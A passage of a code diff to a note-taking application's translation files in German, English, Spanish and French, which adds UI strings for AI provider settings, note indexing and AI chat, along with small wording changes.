+    "error_contacting_provider": "Fehler beim Kontaktieren des KI-Anbieters. Bitte überprüfe die Einstellungen und die Internetverbindung.",
+    "error_generating_response": "Fehler beim Generieren der KI Antwort",
+    "index_all_notes": "Indiziere alle Notizen",
+    "index_status": "Indizierungsstatus",
+    "indexed_notes": "Indizierte Notizen",
+    "indexing_stopped": "Indizierung gestoppt",
+    "indexing_in_progress": "Indizierung in Bearbeitung...",
+    "last_indexed": "Zuletzt Indiziert",
+    "note_chat": "Notizen-Chat",
+    "sources": "Quellen",
+    "start_indexing": "Starte Indizierung",
+    "use_advanced_context": "Benutze erweiterten Kontext",
+    "ollama_no_url": "Ollama ist nicht konfiguriert. Bitte trage eine gültige URL ein.",
+    "chat": {
+      "root_note_title": "KI Chats",
+      "root_note_content": "Diese Notiz enthält gespeicherte KI-Chat-Unterhaltungen.",
+      "new_chat_title": "Neuer Chat",
+      "create_new_ai_chat": "Erstelle neuen KI Chat"
+    },
+    "create_new_ai_chat": "Erstelle neuen KI Chat",
+    "configuration_warnings": "Es wurden Probleme mit der KI Konfiguration festgestellt. Bitte überprüfe die Einstellungen.",
+    "experimental_warning": "Die LLM-Funktionen sind aktuell experimentell - sei an dieser Stelle gewarnt.",
+    "selected_provider": "Ausgewählter Anbieter",
+    "selected_provider_description": "Wähle einen KI-Anbieter für Chat- und Vervollständigungsfunktionen",
+    "select_model": "Wähle Modell...",
+    "select_provider": "Wähle Anbieter...",
+    "ai_enabled": "KI Funktionen aktiviert",
+    "ai_disabled": "KI Funktionen deaktiviert",
+    "no_models_found_online": "Keine Modelle gefunden. Bitte überprüfe den API-Key und die Einstellungen.",
+    "no_models_found_ollama": "Kein Ollama Modell gefunden. Bitte prüfe, ob Ollama gerade läuft.",
+    "error_fetching": "Fehler beim Abrufen der Modelle: {{error}}"
+  },
   "zen_mode": {
     "button_exit": "Verlasse Zen Modus"
   },
@@ -1829,7 +1971,7 @@
     "no_totp_secret_warning": "Um TOTP zu aktivieren, muss zunächst ein TOTP Geheimnis generiert werden.",
     "totp_secret_description_warning": "Nach der Generierung des TOTP Geheimnisses ist eine Neuanmeldung mit dem TOTP Geheimnis erforderlich.",
     "totp_secret_generated": "TOTP Geheimnis generiert",
-    "totp_secret_warning": "Bitte speichere das generierte Geheimnis an einem sicheren Ort. Es wird nicht noch einmal angezeigt.",
+    "totp_secret_warning": "Bitte speichere das TOTP Geheimnis an einem sicheren Ort. Es wird nicht noch einmal angezeigt.",
     "totp_secret_regenerate_confirm": "Möchten Sie das TOTP-Geheimnis wirklich neu generieren? Dadurch werden das bisherige TOTP-Geheimnis und alle vorhandenen Wiederherstellungscodes ungültig.",
     "recovery_keys_title": "Einmalige Wiederherstellungsschlüssel",
     "recovery_keys_description": "Einmalige Wiederherstellungsschlüssel werden verwendet, um sich anzumelden, falls Sie keinen Zugriff auf Ihre Authentifizierungscodes haben.",
@@ -1927,7 +2069,7 @@
     "show-hide-columns": "Zeige/verberge Spalten",
     "row-insert-above": "Zeile oberhalb einfügen",
     "row-insert-below": "Zeile unterhalb einfügen",
-    "row-insert-child": "Untergeordnete Notiz einfügen",
+    "row-insert-child": "Unternotiz einfügen",
     "add-column-to-the-left": "Spalte links einfügen",
     "add-column-to-the-right": "Spalte rechts einfügen",
     "edit-column": "Spalte editieren",
@@ -2012,9 +2154,7 @@
     "percentage": "%"
   },
   "pagination": {
-    "total_notes": "{{count}} Notizen",
-    "prev_page": "Vorherige Seite",
-    "next_page": "Nächste Seite"
+    "total_notes": "{{count}} Notizen"
   },
   "collections": {
     "rendering_error": "Aufgrund eines Fehlers können keine Inhalte angezeigt werden."
@@ -2060,7 +2200,7 @@
     "hoisted_badge_title": "Abgesenkt",
     "workspace_badge": "Arbeitsfläche",
     "scroll_to_top_title": "Zum Anfang der Notiz springen",
-    "create_new_note": "Neue untergeordnete Notiz erstellen",
+    "create_new_note": "Neue Unternotiz erstellen",
     "empty_hide_archived_notes": "Archivierte Notizen ausblenden"
   },
   "breadcrumb_badges": {

apps/client/src/translations/en-GB/translation.json

@@ -47,6 +47,11 @@
   "attachment_detail_2": {
     "unrecognized_role": "Unrecognised attachment role '{{role}}'."
   },
+  "ai_llm": {
+    "reprocess_index_started": "Search index optimisation started in the background",
+    "index_rebuilding": "Optimising index ({{percentage}}%)",
+    "index_rebuild_complete": "Index optimisation complete"
+  },
   "highlighting": {
     "color-scheme": "Colour Scheme"
   },

apps/client/src/translations/en/translation.json

@@ -1204,6 +1204,150 @@
     "enable-smooth-scroll": "Enable smooth scrolling",
     "app-restart-required": "(a restart of the application is required for the change to take effect)"
   },
+  "ai_llm": {
+    "not_started": "Not started",
+    "title": "AI Settings",
+    "processed_notes": "Processed Notes",
+    "total_notes": "Total Notes",
+    "progress": "Progress",
+    "queued_notes": "Queued Notes",
+    "failed_notes": "Failed Notes",
+    "last_processed": "Last Processed",
+    "refresh_stats": "Refresh Statistics",
+    "enable_ai_features": "Enable AI/LLM features",
+    "enable_ai_description": "Enable AI features like note summarization, content generation, and other LLM capabilities",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Enable AI/LLM features",
+    "enable_ai_desc": "Enable AI features like note summarization, content generation, and other LLM capabilities",
+    "provider_configuration": "AI Provider Configuration",
+    "provider_precedence": "Provider Precedence",
+    "provider_precedence_description": "Comma-separated list of providers in order of precedence (e.g., 'openai,anthropic,ollama')",
+    "temperature": "Temperature",
+    "temperature_description": "Controls randomness in responses (0 = deterministic, 2 = maximum randomness)",
+    "system_prompt": "System Prompt",
+    "system_prompt_description": "Default system prompt used for all AI interactions",
+    "openai_configuration": "OpenAI Configuration",
+    "openai_settings": "OpenAI Settings",
+    "api_key": "API Key",
+    "api_key_placeholder": "API key is configured (enter a new value to replace it)",
+    "url": "Base URL",
+    "model": "Model",
+    "openai_api_key_description": "Your OpenAI API key for accessing their AI services",
+    "anthropic_api_key_description": "Your Anthropic API key for accessing Claude models",
+    "default_model": "Default Model",
+    "openai_model_description": "Examples: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "Base URL",
+    "openai_url_description": "Default: https://api.openai.com/v1",
+    "anthropic_settings": "Anthropic Settings",
+    "anthropic_url_description": "Base URL for the Anthropic API (default: https://api.anthropic.com)",
+    "anthropic_model_description": "Anthropic Claude models for chat completion",
+    "voyage_settings": "Voyage AI Settings",
+    "ollama_settings": "Ollama Settings",
+    "ollama_url_description": "URL for the Ollama API (default: http://localhost:11434)",
+    "ollama_model_description": "Ollama model to use for chat completion",
+    "anthropic_configuration": "Anthropic Configuration",
+    "voyage_configuration": "Voyage AI Configuration",
+    "voyage_url_description": "Default: https://api.voyageai.com/v1",
+    "ollama_configuration": "Ollama Configuration",
+    "enable_ollama": "Enable Ollama",
+    "enable_ollama_description": "Enable Ollama for local AI model usage",
+    "ollama_url": "Ollama URL",
+    "ollama_model": "Ollama Model",
+    "refresh_models": "Refresh Models",
+    "refreshing_models": "Refreshing...",
+    "enable_automatic_indexing": "Enable Automatic Indexing",
+    "rebuild_index": "Rebuild Index",
+    "rebuild_index_error": "Error starting index rebuild. Check logs for details.",
+    "note_title": "Note Title",
+    "error": "Error",
+    "last_attempt": "Last Attempt",
+    "actions": "Actions",
+    "retry": "Retry",
+    "partial": "{{ percentage }}% completed",
+    "retry_queued": "Note queued for retry",
+    "retry_failed": "Failed to queue note for retry",
+    "max_notes_per_llm_query": "Max Notes Per Query",
+    "max_notes_per_llm_query_description": "Maximum number of similar notes to include in AI context",
+    "active_providers": "Active Providers",
+    "disabled_providers": "Disabled Providers",
+    "remove_provider": "Remove provider from search",
+    "restore_provider": "Restore provider to search",
+    "similarity_threshold": "Similarity Threshold",
+    "similarity_threshold_description": "Minimum similarity score (0-1) for notes to be included in context for LLM queries",
+    "reprocess_index": "Rebuild Search Index",
+    "reprocessing_index": "Rebuilding...",
+    "reprocess_index_started": "Search index optimization started in the background",
+    "reprocess_index_error": "Error rebuilding search index",
+    "index_rebuild_progress": "Index Rebuild Progress",
+    "index_rebuilding": "Optimizing index ({{percentage}}%)",
+    "index_rebuild_complete": "Index optimization complete",
+    "index_rebuild_status_error": "Error checking index rebuild status",
+    "never": "Never",
+    "processing": "Processing ({{percentage}}%)",
+    "incomplete": "Incomplete ({{percentage}}%)",
+    "complete": "Complete (100%)",
+    "refreshing": "Refreshing...",
+    "auto_refresh_notice": "Auto-refreshes every {{seconds}} seconds",
+    "note_queued_for_retry": "Note queued for retry",
+    "failed_to_retry_note": "Failed to retry note",
+    "all_notes_queued_for_retry": "All failed notes queued for retry",
+    "failed_to_retry_all": "Failed to retry notes",
+    "ai_settings": "AI Settings",
+    "api_key_tooltip": "API key for accessing the service",
+    "empty_key_warning": {
+      "anthropic": "Anthropic API key is empty. Please enter a valid API key.",
+      "openai": "OpenAI API key is empty. Please enter a valid API key.",
+      "voyage": "Voyage API key is empty. Please enter a valid API key.",
+      "ollama": "Ollama API key is empty. Please enter a valid API key."
+    },
+    "agent": {
+      "processing": "Processing...",
+      "thinking": "Thinking...",
+      "loading": "Loading...",
+      "generating": "Generating..."
+    },
+    "name": "AI",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Use enhanced context",
+    "enhanced_context_description": "Provides the AI with more context from the note and its related notes for better responses",
+    "show_thinking": "Show thinking",
+    "show_thinking_description": "Show the AI's chain of thought process",
+    "enter_message": "Enter your message...",
+    "error_contacting_provider": "Error contacting AI provider. Please check your settings and internet connection.",
+    "error_generating_response": "Error generating AI response",
+    "index_all_notes": "Index All Notes",
+    "index_status": "Index Status",
+    "indexed_notes": "Indexed Notes",
+    "indexing_stopped": "Indexing stopped",
+    "indexing_in_progress": "Indexing in progress...",
+    "last_indexed": "Last Indexed",
+    "note_chat": "Note Chat",
+    "sources": "Sources",
+    "start_indexing": "Start Indexing",
+    "use_advanced_context": "Use Advanced Context",
+    "ollama_no_url": "Ollama is not configured. Please enter a valid URL.",
+    "chat": {
+      "root_note_title": "AI Chats",
+      "root_note_content": "This note contains your saved AI chat conversations.",
+      "new_chat_title": "New Chat",
+      "create_new_ai_chat": "Create new AI Chat"
+    },
+    "create_new_ai_chat": "Create new AI Chat",
+    "configuration_warnings": "There are some issues with your AI configuration. Please check your settings.",
+    "experimental_warning": "The LLM feature is currently experimental - you have been warned.",
+    "selected_provider": "Selected Provider",
+    "selected_provider_description": "Choose the AI provider for chat and completion features",
+    "select_model": "Select model...",
+    "select_provider": "Select provider...",
+    "ai_enabled": "AI features enabled",
+    "ai_disabled": "AI features disabled",
+    "no_models_found_online": "No models found. Please check your API key and settings.",
+    "no_models_found_ollama": "No Ollama models found. Please check if Ollama is running.",
+    "error_fetching": "Error fetching models: {{error}}"
+  },
   "zoom_factor": {
     "title": "Zoom Factor (desktop build only)",
     "description": "Zooming can be controlled with CTRL+- and CTRL+= shortcuts as well."
@@ -1681,8 +1825,7 @@
   },
   "search_result": {
     "no_notes_found": "No notes have been found for given search parameters.",
-    "search_not_executed": "Search has not been executed yet.",
-    "search_now": "Search now"
+    "search_not_executed": "Search has not been executed yet. Click on \"Search\" button above to see the results."
   },
   "spacer": {
     "configure_launchbar": "Configure Launchbar"

apps/client/src/translations/es/translation.json

@@ -669,7 +669,7 @@
     "button_exit": "Salir del modo Zen"
   },
   "sync_status": {
-    "unknown": "<p>El estado de sincronización será conocido una vez que el siguiente intento de sincronización comience.</p><p>Dé clic para activar la sincronización ahora.</p>",
+    "unknown": "<p>El estado de sincronización será conocido una vez que el siguiente intento de sincronización comience.</p><p>Dé clic para activar la sincronización ahora</p>",
     "connected_with_changes": "<p>Conectado al servidor de sincronización. <br>Hay cambios pendientes que aún no se han sincronizado.</p><p>Dé clic para activar la sincronización.</p>",
     "connected_no_changes": "<p>Conectado al servidor de sincronización.<br>Todos los cambios ya han sido sincronizados.</p><p>Dé clic para activar la sincronización.</p>",
     "disconnected_with_changes": "<p>El establecimiento de la conexión con el servidor de sincronización no ha tenido éxito.<br>Hay algunos cambios pendientes que aún no se han sincronizado.</p><p>Dé clic para activar la sincronización.</p>",
@@ -760,7 +760,7 @@
   "mobile_detail_menu": {
     "insert_child_note": "Insertar subnota",
     "delete_this_note": "Eliminar esta nota",
-    "error_cannot_get_branch_id": "No se puede obtener el branchId del notePath '{{notePath}}'",
+    "error_cannot_get_branch_id": "No se puede obtener el branchID del notePath '{{notePath}}'",
     "error_unrecognized_command": "Comando no reconocido {{command}}",
     "note_revisions": "Revisiones de notas",
     "backlinks": "Vínculos de retroceso",
@@ -1012,7 +1012,7 @@
     "no_attachments": "Esta nota no tiene archivos adjuntos."
   },
   "book": {
-    "no_children_help": "Esta colección no tiene ninguna subnota así que no hay nada que mostrar.",
+    "no_children_help": "Esta nota de tipo libro no tiene ninguna subnota así que no hay nada que mostrar. Véa la <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> para más detalles.",
     "drag_locked_title": "Bloqueado para edición",
     "drag_locked_message": "No se permite Arrastrar pues la colección está bloqueada para edición."
   },
@@ -1175,6 +1175,149 @@
     "light_theme": "Heredado (Claro)",
     "dark_theme": "Heredado (Oscuro)"
   },
+  "ai_llm": {
+    "not_started": "No iniciado",
+    "title": "IA y ajustes de embeddings",
+    "processed_notes": "Notas procesadas",
+    "total_notes": "Notas totales",
+    "progress": "Progreso",
+    "queued_notes": "Notas en fila",
+    "failed_notes": "Notas fallidas",
+    "last_processed": "Última procesada",
+    "refresh_stats": "Recargar estadísticas",
+    "enable_ai_features": "Habilitar características IA/LLM",
+    "enable_ai_description": "Habilitar características de IA como resumen de notas, generación de contenido y otras capacidades LLM",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Habilitar características IA/LLM",
+    "enable_ai_desc": "Habilitar características de IA como resumen de notas, generación de contenido y otras capacidades LLM",
+    "provider_configuration": "Configuración de proveedor de IA",
+    "provider_precedence": "Precedencia de proveedor",
+    "provider_precedence_description": "Lista de proveedores en orden de precedencia separada por comas (p.e., 'openai,anthropic,ollama')",
+    "temperature": "Temperatura",
+    "temperature_description": "Controla la aleatoriedad de las respuestas (0 = determinista, 2 = aleatoriedad máxima)",
+    "system_prompt": "Mensaje de sistema",
+    "system_prompt_description": "Mensaje de sistema predeterminado utilizado para todas las interacciones de IA",
+    "openai_configuration": "Configuración de OpenAI",
+    "openai_settings": "Ajustes de OpenAI",
+    "api_key": "Clave API",
+    "url": "URL base",
+    "model": "Modelo",
+    "openai_api_key_description": "Tu clave API de OpenAI para acceder a sus servicios de IA",
+    "anthropic_api_key_description": "Tu clave API de Anthropic para acceder a los modelos Claude",
+    "default_model": "Modelo por defecto",
+    "openai_model_description": "Ejemplos: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "URL base",
+    "openai_url_description": "Por defecto: https://api.openai.com/v1",
+    "anthropic_settings": "Ajustes de Anthropic",
+    "anthropic_url_description": "URL base para la API de Anthropic (por defecto: https://api.anthropic.com)",
+    "anthropic_model_description": "Modelos Claude de Anthropic para el completado de chat",
+    "voyage_settings": "Ajustes de Voyage AI",
+    "ollama_settings": "Ajustes de Ollama",
+    "ollama_url_description": "URL para la API de Ollama (por defecto: http://localhost:11434)",
+    "ollama_model_description": "Modelo de Ollama a usar para el completado de chat",
+    "anthropic_configuration": "Configuración de Anthropic",
+    "voyage_configuration": "Configuración de Voyage AI",
+    "voyage_url_description": "Por defecto: https://api.voyageai.com/v1",
+    "ollama_configuration": "Configuración de Ollama",
+    "enable_ollama": "Habilitar Ollama",
+    "enable_ollama_description": "Habilitar Ollama para uso de modelo de IA local",
+    "ollama_url": "URL de Ollama",
+    "ollama_model": "Modelo de Ollama",
+    "refresh_models": "Refrescar modelos",
+    "refreshing_models": "Refrescando...",
+    "enable_automatic_indexing": "Habilitar indexado automático",
+    "rebuild_index": "Recrear índice",
+    "rebuild_index_error": "Error al comenzar la reconstrucción del índice. Consulte los registros para más detalles.",
+    "note_title": "Título de nota",
+    "error": "Error",
+    "last_attempt": "Último intento",
+    "actions": "Acciones",
+    "retry": "Reintentar",
+    "partial": "{{ percentage }}% completado",
+    "retry_queued": "Nota en la cola para reintento",
+    "retry_failed": "Hubo un fallo al poner en la cola a la nota para reintento",
+    "max_notes_per_llm_query": "Máximo de notas por consulta",
+    "max_notes_per_llm_query_description": "Número máximo de notas similares a incluir en el contexto IA",
+    "active_providers": "Proveedores activos",
+    "disabled_providers": "Proveedores deshabilitados",
+    "remove_provider": "Eliminar proveedor de la búsqueda",
+    "restore_provider": "Restaurar proveedor a la búsqueda",
+    "similarity_threshold": "Bias de similaridad",
+    "similarity_threshold_description": "Puntuación de similaridad mínima (0-1) para incluir notas en el contexto para consultas LLM",
+    "reprocess_index": "Reconstruir el índice de búsqueda",
+    "reprocessing_index": "Reconstruyendo...",
+    "reprocess_index_started": "La optimización de índice de búsqueda comenzó en segundo plano",
+    "reprocess_index_error": "Error al reconstruir el índice de búsqueda",
+    "index_rebuild_progress": "Progreso de reconstrucción de índice",
+    "index_rebuilding": "Optimizando índice ({{percentage}}%)",
+    "index_rebuild_complete": "Optimización de índice completa",
+    "index_rebuild_status_error": "Error al comprobar el estado de reconstrucción del índice",
+    "never": "Nunca",
+    "processing": "Procesando ({{percentage}}%)",
+    "incomplete": "Incompleto ({{percentage}}%)",
+    "complete": "Completo (100%)",
+    "refreshing": "Refrescando...",
+    "auto_refresh_notice": "Refrescar automáticamente cada {{seconds}} segundos",
+    "note_queued_for_retry": "Nota en la cola para reintento",
+    "failed_to_retry_note": "Hubo un fallo al reintentar nota",
+    "all_notes_queued_for_retry": "Todas las notas con fallo agregadas a la cola para reintento",
+    "failed_to_retry_all": "Hubo un fallo al reintentar notas",
+    "ai_settings": "Ajustes de IA",
+    "api_key_tooltip": "Clave API para acceder al servicio",
+    "empty_key_warning": {
+      "anthropic": "La clave API de Anthropic está vacía. Por favor, ingrese una clave API válida.",
+      "openai": "La clave API de OpenAI está vacía. Por favor, ingrese una clave API válida.",
+      "voyage": "La clave API de Voyage está vacía. Por favor, ingrese una clave API válida.",
+      "ollama": "La clave API de Ollama está vacía. Por favor, ingrese una clave API válida."
+    },
+    "agent": {
+      "processing": "Procesando...",
+      "thinking": "Pensando...",
+      "loading": "Cargando...",
+      "generating": "Generando..."
+    },
+    "name": "IA",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Utilizar contexto mejorado",
+    "enhanced_context_description": "Provee a la IA con más contexto de la nota y sus notas relacionadas para obtener mejores respuestas",
+    "show_thinking": "Mostrar pensamiento",
+    "show_thinking_description": "Mostrar la cadena del proceso de pensamiento de la IA",
+    "enter_message": "Ingrese su mensaje...",
+    "error_contacting_provider": "Error al contactar con su proveedor de IA. Por favor compruebe sus ajustes y conexión a internet.",
+    "error_generating_response": "Error al generar respuesta de IA",
+    "index_all_notes": "Indexar todas las notas",
+    "index_status": "Estado de índice",
+    "indexed_notes": "Notas indexadas",
+    "indexing_stopped": "Indexado detenido",
+    "indexing_in_progress": "Indexado en progreso...",
+    "last_indexed": "Último indexado",
+    "note_chat": "Chat de nota",
+    "sources": "Fuentes",
+    "start_indexing": "Comenzar indexado",
+    "use_advanced_context": "Usar contexto avanzado",
+    "ollama_no_url": "Ollama no está configurado. Por favor ingrese una URL válida.",
+    "chat": {
+      "root_note_title": "Chats de IA",
+      "root_note_content": "Esta nota contiene tus conversaciones de chat de IA guardadas.",
+      "new_chat_title": "Nuevo chat",
+      "create_new_ai_chat": "Crear nuevo chat de IA"
+    },
+    "create_new_ai_chat": "Crear nuevo chat de IA",
+    "configuration_warnings": "Hay algunos problemas con su configuración de IA. Por favor compruebe sus ajustes.",
+    "experimental_warning": "La característica de LLM aún es experimental - ha sido advertido.",
+    "selected_provider": "Proveedor seleccionado",
+    "selected_provider_description": "Elija el proveedor de IA para el chat y características de completado",
+    "select_model": "Seleccionar modelo...",
+    "select_provider": "Seleccionar proveedor...",
+    "ai_enabled": "Características de IA activadas",
+    "ai_disabled": "Características de IA desactivadas",
+    "no_models_found_online": "No se encontraron modelos. Por favor, comprueba tu clave de API y la configuración.",
+    "no_models_found_ollama": "No se encontraron modelos de Ollama. Por favor, comprueba si Ollama se está ejecutando.",
+    "error_fetching": "Error al obtener los modelos: {{error}}"
+  },
   "zoom_factor": {
     "title": "Factor de zoom (solo versión de escritorio)",
     "description": "El zoom también se puede controlar con los atajos CTRL+- y CTRL+=."
@@ -1417,7 +1560,7 @@
   "shortcuts": {
     "keyboard_shortcuts": "Atajos de teclado",
     "multiple_shortcuts": "Varios atajos para la misma acción se pueden separar mediante comas.",
-    "electron_documentation": "Consulte la <a href=\"https://www.electronjs.org/docs/latest/api/accelerator\">documentación de Electron</a> para los modificadores y códigos de tecla disponibles.",
+    "electron_documentation": "Véa la <a href=\"https://www.electronjs.org/docs/latest/api/accelerator\">documentación de Electron </a> para los modificadores y códigos de tecla disponibles.",
     "type_text_to_filter": "Escriba texto para filtrar los accesos directos...",
     "action_name": "Nombre de la acción",
     "shortcuts": "Atajos",
@@ -1683,7 +1826,7 @@
     "no_headings": "Sin encabezados."
   },
   "watched_file_update_status": {
-    "file_last_modified": "El archivo <code class=\"file-path\"></code> ha sido modificado por última vez en <span class=\"file-last-modified\"></span>.",
+    "file_last_modified": "Archivo <code class=\"file-path\"></code> ha sido modificado por última vez en<span class=\"file-last-modified\"></span>.",
     "upload_modified_file": "Subir archivo modificado",
     "ignore_this_change": "Ignorar este cambio"
   },
@@ -1907,8 +2050,7 @@
     "max-nesting-depth": "Máxima profundidad de anidamiento:",
     "vector_light": "Vector (claro)",
     "vector_dark": "Vector (oscuro)",
-    "raster": "Trama",
-    "show-labels": "Mostrar nombres de marcadores"
+    "raster": "Trama"
   },
   "table_context_menu": {
     "delete_row": "Eliminar fila"
@@ -2016,9 +2158,7 @@
     "percentage": "%"
   },
   "pagination": {
-    "total_notes": "{{count}} notas",
-    "prev_page": "Página anterior",
-    "next_page": "Página siguiente"
+    "total_notes": "{{count}} notas"
   },
   "presentation_view": {
     "edit-slide": "Editar este slide",

apps/client/src/translations/fr/translation.json

@@ -1485,6 +1485,7 @@
     "beta-feature": "Beta",
     "task-list": "Liste de tâches",
     "book": "Collection",
+    "ai-chat": "Chat IA",
     "new-feature": "Nouveau",
     "collections": "Collections"
   },
@@ -1797,6 +1798,149 @@
     "close": "Fermer",
     "help_title": "Afficher plus d'informations sur cet écran"
   },
+  "ai_llm": {
+    "not_started": "Non démarré",
+    "title": "Paramètres IA",
+    "processed_notes": "Notes traitées",
+    "anthropic_url_description": "URL de base pour l'API Anthropic (par défaut : https ://api.anthropic.com)",
+    "anthropic_model_description": "Modèles Anthropic Claude pour la complétion",
+    "voyage_settings": "Réglages d'IA Voyage",
+    "ollama_settings": "Réglages Ollama",
+    "ollama_url_description": "URL pour l'API Ollama (par défaut: http://localhost:11434)",
+    "ollama_model_description": "Model Ollama utilisé pour la complétion",
+    "anthropic_configuration": "Configuration Anthropic",
+    "voyage_configuration": "Configuration IA Voyage",
+    "voyage_url_description": "Défaut: https://api.voyageai.com/v1",
+    "ollama_configuration": "Configuration Ollama",
+    "total_notes": "Notes totales",
+    "progress": "Progrès",
+    "queued_notes": "Notes dans la file d'attente",
+    "refresh_stats": "Rafraîchir les statistiques",
+    "enable_ai_features": "Activer les fonctionnalités IA/LLM",
+    "enable_ai_description": "Activer les fonctionnalités IA telles que le résumé des notes, la génération de contenu et autres fonctionnalités LLM",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Activer les fonctionnalités IA/LLM",
+    "enable_ai_desc": "Activer les fonctionnalités IA telles que le résumé des notes, la génération de contenu et autres fonctionnalités LLM",
+    "provider_configuration": "Configuration du fournisseur IA",
+    "provider_precedence_description": "Liste de fournisseurs séparés par virgule, par ordre de préférence (ex. 'openai,anthopic,ollama')",
+    "temperature": "Température",
+    "temperature_description": "Contrôle de l'aléatoirité dans les réponses (0 = déterministe, 2 = hasard maximum)",
+    "system_prompt": "Prompt système",
+    "system_prompt_description": "Prompt système par défaut pour toutes les intéractions IA",
+    "openai_configuration": "Configuration OpenAI",
+    "openai_settings": "Options OpenAI",
+    "api_key": "Clef API",
+    "url": "URL de base",
+    "model": "Modèle",
+    "openai_api_key_description": "Votre clef API OpenAI pour accéder à leurs services IA",
+    "anthropic_api_key_description": "Votre clef API Anthropic pour accéder aux modèles Claude",
+    "default_model": "Modèle par défaut",
+    "openai_model_description": "Exemples : gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "URL de base",
+    "openai_url_description": "Défaut : https://api.openai.com/v1",
+    "anthropic_settings": "Réglages Anthropic",
+    "enable_ollama": "Activer Ollama",
+    "enable_ollama_description": "Activer Ollama comme modèle d'IA local",
+    "ollama_url": "URL Ollama",
+    "ollama_model": "Modèle Ollama",
+    "refresh_models": "Rafraîchir les modèles",
+    "refreshing_models": "Mise à jour...",
+    "enable_automatic_indexing": "Activer l'indexage automatique",
+    "rebuild_index": "Rafraîchir l'index",
+    "rebuild_index_error": "Erreur dans le démarrage du rafraichissement de l'index. Veuillez consulter les logs pour plus de détails.",
+    "note_title": "Titre de la note",
+    "error": "Erreur",
+    "last_attempt": "Dernier essai",
+    "actions": "Actions",
+    "retry": "Réessayer",
+    "partial": "Complété à {{ percentage }}%",
+    "retry_queued": "Note ajoutée à la file d'attente",
+    "retry_failed": "Echec de l'ajout de la note à la file d'attente",
+    "max_notes_per_llm_query": "Notes maximum par requête",
+    "max_notes_per_llm_query_description": "Nombre maximum de notes similaires à inclure dans le contexte IA",
+    "active_providers": "Fournisseurs actifs",
+    "disabled_providers": "Fournisseurs désactivés",
+    "remove_provider": "Retirer le fournisseur de la recherche",
+    "similarity_threshold": "Seuil de similarité",
+    "similarity_threshold_description": "Seuil de similarité minimum (0-1) pour que inclure les notes dans le contexte d'une requête IA",
+    "reprocess_index": "Rafraîchir l'index de recherche",
+    "reprocessing_index": "Mise à jour...",
+    "reprocess_index_started": "L'optimisation de l'indice de recherche à commencer en arrière-plan",
+    "reprocess_index_error": "Erreur dans le rafraichissement de l'indice de recherche",
+    "failed_notes": "Notes en erreur",
+    "last_processed": "Dernier traitement",
+    "restore_provider": "Restaurer le fournisseur de recherche",
+    "index_rebuild_progress": "Progression de la reconstruction de l'index",
+    "index_rebuilding": "Optimisation de l'index ({{percentage}}%)",
+    "index_rebuild_complete": "Optimisation de l'index terminée",
+    "index_rebuild_status_error": "Erreur lors de la vérification de l'état de reconstruction de l'index",
+    "provider_precedence": "Priorité du fournisseur",
+    "never": "Jamais",
+    "processing": "Traitement en cours ({{percentage}}%)",
+    "incomplete": "Incomplet ({{percentage}}%)",
+    "complete": "Terminé (100%)",
+    "refreshing": "Mise à jour...",
+    "auto_refresh_notice": "Actualisation automatique toutes les {{seconds}} secondes",
+    "note_queued_for_retry": "Note mise en file d'attente pour une nouvelle tentative",
+    "failed_to_retry_note": "Échec de la nouvelle tentative de note",
+    "all_notes_queued_for_retry": "Toutes les notes ayant échoué sont mises en file d'attente pour une nouvelle tentative",
+    "failed_to_retry_all": "Échec du ré essai des notes",
+    "ai_settings": "Paramètres IA",
+    "api_key_tooltip": "Clé API pour accéder au service",
+    "empty_key_warning": {
+      "anthropic": "La clé API Anthropic est vide. Veuillez saisir une clé API valide.",
+      "openai": "La clé API OpenAI est vide. Veuillez saisir une clé API valide.",
+      "voyage": "La clé API Voyage est vide. Veuillez saisir une clé API valide.",
+      "ollama": "La clé API Ollama est vide. Veuillez saisir une clé API valide."
+    },
+    "agent": {
+      "processing": "Traitement...",
+      "thinking": "Réflexion...",
+      "loading": "Chargement...",
+      "generating": "Génération..."
+    },
+    "name": "IA",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Utiliser un contexte amélioré",
+    "enhanced_context_description": "Fournit à l'IA plus de contexte à partir de la note et de ses notes associées pour de meilleures réponses",
+    "show_thinking": "Montrer la réflexion",
+    "show_thinking_description": "Montrer la chaîne de pensée de l'IA",
+    "enter_message": "Entrez votre message...",
+    "error_contacting_provider": "Erreur lors de la connexion au fournisseur d'IA. Veuillez vérifier vos paramètres et votre connexion Internet.",
+    "error_generating_response": "Erreur lors de la génération de la réponse de l'IA",
+    "index_all_notes": "Indexer toutes les notes",
+    "index_status": "Statut de l'index",
+    "indexed_notes": "Notes indexées",
+    "indexing_stopped": "Arrêt de l'indexation",
+    "indexing_in_progress": "Indexation en cours...",
+    "last_indexed": "Dernière indexée",
+    "note_chat": "Note discussion",
+    "sources": "Sources",
+    "start_indexing": "Démarrage de l'indexation",
+    "use_advanced_context": "Utiliser le contexte avancé",
+    "ollama_no_url": "Ollama n'est pas configuré. Veuillez saisir une URL valide.",
+    "chat": {
+      "root_note_title": "Discussions IA",
+      "root_note_content": "Cette note contient vos conversations de chat IA enregistrées.",
+      "new_chat_title": "Nouvelle discussion",
+      "create_new_ai_chat": "Créer une nouvelle discussion IA"
+    },
+    "create_new_ai_chat": "Créer une nouvelle discussion IA",
+    "configuration_warnings": "Il y a quelques problèmes avec la configuration de votre IA. Veuillez vérifier vos paramètres.",
+    "experimental_warning": "La fonctionnalité LLM est actuellement expérimentale – vous êtes prévenu.",
+    "selected_provider": "Fournisseur sélectionné",
+    "selected_provider_description": "Choisissez le fournisseur d’IA pour les fonctionnalités de discussion et de complétion",
+    "select_model": "Sélectionner le modèle...",
+    "select_provider": "Sélectionnez un fournisseur...",
+    "ai_enabled": "Fonctionnalités d'IA activées",
+    "ai_disabled": "Fonctionnalités d'IA désactivées",
